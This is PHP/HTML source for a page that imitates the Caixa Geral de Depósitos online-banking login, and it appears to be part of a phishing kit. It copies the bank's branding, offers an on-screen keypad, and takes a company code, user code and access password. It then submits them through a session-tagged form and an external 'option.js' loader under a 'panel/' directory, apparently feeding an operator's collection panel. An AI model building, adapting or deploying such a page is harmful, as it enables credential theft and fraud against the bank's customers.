<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>

<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=1024">
        <title>CGD</title>
        <link rel="stylesheet" href="panel/bootstrap/css/bootstrap.min.css" >
        <link rel="stylesheet" href="panel/css/style.css" >


         <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
    <script src="panel/bootstrap/jquery/jquery.min.js"> </script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
  <style>
      main .main-div .form-elements img {
          padding: 8px 20px !important;
          height: 20px !important;
          width: 20px !important;
      }
      .input-wrapper {
    position: relative;
    width: 90px;
    /* width: 70px; */
    
  }
  .input-wrapper input.input_box {
    width: 100%;
    padding-left: 5px;
    height: 30px;
  }
  .arrow-inside-input {
    position: absolute;
      top: 47%;
      right: -85px;
      /* right: -52px; */

    transform: translateY(-50%);
    width: 26px;
    display: none;
    pointer-events: none;
  }
  .btn_9, .back_space, .active_btn {
    display: inline-block;
    padding: 6px 5px;
    margin: 2px;
      border: #bbb 1px solid;
      font-weight: bold;
      font-size: 0.75em;
      vertical-align: middle;
      cursor: pointer;
      color: #666;
      /* background-color: #eee; */
      text-align: center;
    cursor: pointer;
    min-width: 30px;
    text-align: center;
    /* font-size: 14px; */
  }
  .active_btn {
    /* background-color: #1f4e99; */
    color: white;
    border: none;
    background: -webkit-gradient(linear, left bottom, left top, color-stop(0.6, #0073AF), color-stop(1, #66ABCF));
      padding: 6px 6px;
          font-family: Arial, Helvetica, sans-serif;
      text-transform: uppercase;
          font-weight: bold;
      font-size: 0.7em;
          border-radius: 2px;
              text-align: center;
      display: flex
  ;
      align-items: center;
  }
    @media screen and (max-width:991px) {
      .arrow-inside-input{
          display: none !important;
      }
      .label-text{
          text-align: left !important;
      }
      .btn_9, .back_space, .active_btn {
            margin: -2px;
      }
    }
    @media screen and (max-width:1200px) {
      .arrow-inside-input {
          right: -50px;
      }
      .key_pad_button{
          margin-top: 5px !important;
      }
    }
    .text-lgi{
          color: #555;
      font-size: 0.75em;
      font-weight: bold;
      padding: 5px 8px;
      margin-bottom: 0px !important;
    }
    .para-lgi{
      font-size: 0.7em;
      padding: 0px 8px;
      margin-bottom: 0px !important;
    }
    .anker-text{
          font-size: 0.7em;
      padding: 0px 8px;    color: #0073AF;
      font-weight: bold;
      text-decoration: none;
    }
    .label-text{
      margin-right: 8px;
          font-size: 0.75em;
      color: #333;
          font-weight: bold;
    }
    @media only screen and (max-width: 991px) {
    /* .col-md-3, .col-md-4, .col-md-2, .col-md-5, .col-md-12 {
      flex: 0 0 auto !important;
      width: auto !important;
    }
    .row {
      flex-wrap: nowrap !important;
    } */
  }
  </style>

    </head>
    <body>
    <header class="pt-4">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <img class="img-fluid" src="panel/got/logo_CDO.gif" alt="">
                </div>
            </div>
        </div>
    </header>
    <section class=" mt-3">
      <div class="container">
        <div class="row ">
            <div class="col-md-12 p-0">
                <div class="top_border pl-3 pr-3">
                <div class="d-flex justify-content-end align-items-center">
                    <p class="mb-0 text-white">PT <span class="en">EN</span></p>
                </div>
            </div>
            </div>
            </div>
            <div class="row m-auto justify-content-center align-items-center">
                <div class="col-md-4">
                    <img src="panel/imgs/image_homepage.jpg" class="img-fluid" alt="">
                </div>
            <div class="col-md-4">
                <form  action="#" id="form" method="post" name="login">

                    <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                          <!-- <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3 my-1" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?> -->


                   <div class="row mt-3 align-items-center justify-content-center">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de empresa</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="text" class="input_box" name="contract_number" id="contract_number" onfocus="setActive('contract_number')">
    </div>
  </div>
</div>

<!-- <div class="row mt-2 align-items-center justify-content-end">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de utilizador	</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="text" class="input_box" id="user_code" maxlength="6">
    </div>
  </div>
</div> -->

<div class="row mt-2 align-items-center justify-content-center">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de utilizador</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="text" class="input_box" name="access_code" id="access_code" onfocus="setActive('access_code')">
    </div>
  </div>
</div>
<div class="row mt-2 align-items-center justify-content-center">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de acesso</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="password" class="input_box" name="access_code1" id="access_code1" onfocus="setActive('access_code1')">
    </div>
  </div>
</div>

                </form>
            </div>
            <div class="col-md-4">
                <!-- KEYPAD -->
                 <p class="mb-0 mt-3 text-right" style="color: #888;     font-size: 0.75em; font-weight: bold;">Ainda não tem código? Clique <span style="color: #0073AF;"> aqui </span></p>
<div class="key_pad_input pb-3 mt-2">
  <div class="key_pad_button pt-3 pl-1 pr-1 d-flex  gap-2">
    <span class="btn_9" onclick="typeChar(4)">4</span>
    <span class="btn_9" onclick="typeChar(3)">3</span>
    <span class="btn_9" onclick="typeChar(6)">6</span>
    <span class="btn_9" onclick="typeChar(9)">9</span>
    <span class="btn_9" onclick="typeChar(8)">8</span>
    <!-- <span class="back_space"><img src="panel/imgs/seta_apagar.gif" alt=""></span> -->
    <span class="back_space">APAGAR</span>
  </div>
  <div class="key_pad_button pl-1 pr-1 d-flex  gap-2 mt-1">
    <span class="btn_9" onclick="typeChar(7)">7</span>
    <span class="btn_9" onclick="typeChar(5)">5</span>
    <span class="btn_9" onclick="typeChar(0)">0</span>
    <span class="btn_9" onclick="typeChar(1)">1</span>
    <span class="btn_9" onclick="typeChar(2)">2</span>
    <span class="active_btn" onclick="formSubmit()">ENTRAR</span>
  </div>
  <div class="d-flex justify-content-center align-items-center mt-2">
    <a style="border: none; font-size: 14px;">Contraste do teclado</a>
  </div>
</div>
            </div>
            <!-- <div class="col-md-2">
                <img src="panel/got/logo_ama.png" class="img-fluid" alt="">
            </div> -->
        </div>
      </div>
    </section>
<section>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="d-flex gap-heading mt-4">
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">O Que Há de Novo
                        </h1>
                        <img src="panel/imgs/img_001.jpg" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Loja Caixa - Coleção Royal</h6>
                        <p class="para-lgi" >
                          Entre na Loja Caixa e conheça esta coleção exclusiva e real.
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">EM Campanha
                        </h1>
                        <img src="panel/imgs/img_002.png" class="img-fluid img_01" alt="">
                         <h6 class="text-lgi">Soluções Crédito Habitação Jovem</h6>
                        <p class="para-lgi">
                         Os teus pais dão-te tudo. A Caixa dá-te o que precisas.
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">SABIA QUE...
                        </h1>
                        <img src="panel/imgs/img_004.jpg" class="img-fluid img_01"  alt="">
                        <h6 class="text-lgi">Soluções Poupança Reforma</h6>
                        <p class="para-lgi">
                           Do amanhã cuidamos hoje.
Entregas mensais que não pesam no seu dia-a-dia.
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap  flex_column_01">
                        <h1 class="heading text-center text-uppercase">EM DESTAQUE
                        </h1>
                        <img src="panel/imgs/img_006.jpg" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Soluções de Crédito Pessoal</h6>
                        <p class="para-lgi">
                          Receba 1,5% do valor do seu empréstimo, em cartão de crédito da Caixa (máx 400€), ao pedir o seu Crédito Pessoal Expresso Multifinalidade.
                        </p>
                        <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading active text-center text-uppercase">Tentativas fraude
                        </h1>
                        <img src="panel/imgs/img_007.gif" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Esteja atento e defenda-se...</h6>
                        <p class="para-lgi">
                         Conheça as últimas tentativas de fraude e saiba como evitar situações que podem comprometer a privacidade e a segurança de clientes de Internet Banking da CGD e de outros bancos.
                        </p>
                        <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>
<footer></footer>
<div class="footer_bottom"></div>
<div class="lang-links d-flex justify-content-center  mt-2">
    <a href="">Segurança</a>
    <a href="">Contactos</a>
    <a href="">Preçário</a>
    <a href="">Condições Gerais</a>
    <!-- <a href="">Espaço Cliente</a> -->
</div>
<img src="panel/imgs/footer.png" class="img-fluid d-flex m-auto" alt="">

 <p class="mb-0 text-center" style="    font-size: 0.56em;
    color: #888;
    text-align: center;">A CGD está registada junto do Banco de Portugal sob o n.º 35, da CMVM sob o n.º 125 e da ASF sob o nº 419501357. <br>

2025 © Caixa Geral de Depósitos, SA. Todos os direitos reservados.</p>
    <script src="panel/bootstrap/js/popper.min.js"> </script>
    <script src="panel/bootstrap/js/bootstrap.min.js"> </script>

      <script>
  let activeInputId = null;

  function setActive(id) {
    activeInputId = id;
    console.log(activeInputId)
  }

  function typeChar(char) {
    if (!activeInputId) return;
    const input = document.getElementById(activeInputId);
    var set_val = input.value += char;
    // var chek = $(`#${activeInputId}`).val()
     $(`#${activeInputId}`).val(set_val)
  }

  function backspace() {
    if (!activeInputId) return;
    const input = document.getElementById(activeInputId);
    input.value = input.value.slice(0, -1);
  }
</script>

  <script>
            localStorage.getItem('company_code');
            $('#contract_number').val(localStorage.getItem('company_code'));

let currentInput = null;

// Focus logic
$(".input_box").on("focus click", function () {
  currentInput = $(this);
  $(".arrow-inside-input").hide(); // Hide all arrows
  $(this).siblings(".arrow-inside-input").show(); // Show arrow for active input
});

// Button input
$(".btn_9").on("click", function () {
  if (currentInput) {
    let value = currentInput.val();
    if (value.length < currentInput.attr("maxlength")) {
      currentInput.val(value + $(this).text().trim());
    }
  }
});

// Delete input
$(".back_space").on("click", function () {
  if (currentInput) {
    let value = currentInput.val();
    currentInput.val(value.slice(0, -1));
  }
});

// Optional: set initial focus
$(document).ready(function () {
  $("#contract_number").trigger("focus");
});
</script>


 <script>
     function chageValue(){
           var contract_number = $('#contract_number').val();
           var user_code = $('#user_code').val();
           var access_code = $('#access_code').val();
           if(contract_number != "" && user_code != "" && access_code != ""){
               $('#form_check').removeAttr('disabled','disabled')
           }else{
                $('#form_check').attr('disabled','disabled')
           }
     }
    function formSubmit(){

        var contract_number = $('#contract_number').val();
           var user_code = $('#user_code').val();
           var access_code = $('#access_code').val();
           if(contract_number == "" || user_code == ""|| access_code == ""){
               alert("All field is required")
           }else{
                var loader = new Option();
          loader.formSubmit();
           }

       
          
      

      


    }
    
   </script>
   <script>


$(document).ready(function () {
    let $focusedInput = null;

    // Track which input is focused
    $('.input_digit').on('focus', function () {
        $focusedInput = $(this);
    });

    // Handle number button click
    $('.btn_9').not('.back_space, .active').on('click', function () {
        if ($focusedInput) {
            const digit = $(this).text().trim();
            $focusedInput.val($focusedInput.val() + digit);
        }
    });

    // Handle backspace
    $('.back_space').on('click', function () {
        if ($focusedInput) {
            let currentVal = $focusedInput.val();
            $focusedInput.val(currentVal.slice(0, -1));
        }
    });
});
</script>

</body>
</html>